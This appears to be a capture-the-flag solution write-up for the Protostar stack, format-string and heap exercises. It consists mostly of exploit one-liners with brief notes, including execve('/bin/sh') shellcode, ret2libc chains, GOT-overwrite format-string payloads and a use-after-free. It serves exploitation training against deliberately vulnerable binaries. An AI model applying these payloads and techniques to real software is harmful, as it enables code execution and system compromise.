python -c "print 'A'*70" | ./stack0
./stack1 `python -c "print 'dcba'*17"`
GREENIE="`python -c \"print '\x0a\x0d\x0a\x0d'*17\"`" ./stack2
readelf -s ./stack3 | grep win
python -c "print 'AAAA'*16+'\x24\x84\x04\x08'" | ./stack3
readelf -s ./stack4 | grep win
python -c "print 'AAAA'*19+'\xf4\x83\x04\x08'" | ./stack4
import struct
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
buffer = 0xbffff810
delta = 0x4c # Distance to RA on stack
ra = buffer + delta
input = '\x90' * delta
input += struct.pack('<I', ra + 4)
input += shellcode
print input
- address of system: 0xb7ecffb0
- address of exit: 0xb7ec60c0
- address of "/bin/sh": 0xb7fb63bf
cat <(python -c "print 'a'*80 + \xb0\xff\xec\xb7' + '\xc0\x60\xec\xb7'") - | ./stack6
Just ret to another ret!
- address of system: 0xb7ecffb0
- address of exit: 0xb7ec60c0
- address of "/bin/sh": 0xb7fb63bf
- address of 'ret' instruction: 0x08048553
cat <(python -c "print 'a'*80 + '\x53\x85\x04\x08' + '\xb0\xff\xec\xb7' + '\xc0\x60\xec\xb7' + '\xbf\x63\xfb\xb7'") -| ./stack7
I spent a lot of time writing each byte separately, when I realized that it's sprintf, not just printf, so I can just overflow the buffer:
./format0 `python -c "print '%64u\xef\xbe\xad\xde'"`
This one requires writing to a specific address, but they don't care the value (as long as it isn't zero). The only tricky part is getting the stack alignment consistent so that the distance between &argv[1]
and printf
's first argument is consistent. Need to pad the input string so that the argument is 4 byte aligned.
strace ./format1 `python -c 'print "\x38\x96\x04\x08%130$naaaaa"'`
This is easier because the distance between the buffer that's being printed and the printf stack frame is consistent.
objdump -t | grep target
gets us the address of target.
python -c "print '\xe4\x96\x04\x08%60u%4\$n'" | ./format2
We can easily write each halfword in turn
python -c "print '\xf6\x96\x04\x08\xf4\x96\x04\x08%250u%12\$hn%21570u%13\$hn'" | ./format3
Write over the value in the GOT that is used when exit
is called with the address of 'hello'.
hello: 0x080484b4
exit: 0xb7ec60c0
exit@plt: 0x080483ec -> calls index in jump table
exit@got: 0x08048724 -> jmp table jmps to whatever this points at.
python -c "print '\x26\x97\x04\x08\x24\x97\x04\x08%2044u%4\$hn%31920u%5\$hn'" | ./format4
Allocations are ajacent and 0x48 bytes apart. Overwrite fp with the address of 'winner'.
./heap0 python -c "print 'a'*0x48 + '\x64\x84\x04\x08'"
The heap allocations are all nearby. The order they allocate it makes it so that the buffer looks like: <i1, *i1->name, i2, *i2->name>. We can overflow the first name so that it overwrites i2's pointer to the second name. We can then write whatever we want to the address in i2->name. First we overwrite the pointer to the second name buffer with the address of 'puts' in the GOT. With the second write we can overwrite the puts entry with the address of 'winner', and then when puts is called 'winner' will be called instead.
winner: 0x08048494
puts@plt: 0x080483cc
puts@got: 0x08049774
./heap1 `python -c "print 'A'*20 + '\x74\x97\x04\x08'"` `python -c "print '\x94\x84\x04\x08'"`
When the "reset" command is given, the auth structure is freed, but the pointer points to it. Entering "service" after will cause strdup to allocate near the same spot (0x10 bytes afterwards for me), so you can just provide a buffer longer than (32 - difference) and then enter "login" to have that data interpreted as the auth struct.
echo -e "auth \nreset\nservice aaaaaaaaaaaaaaaaa\nlogin\n" | ./heap2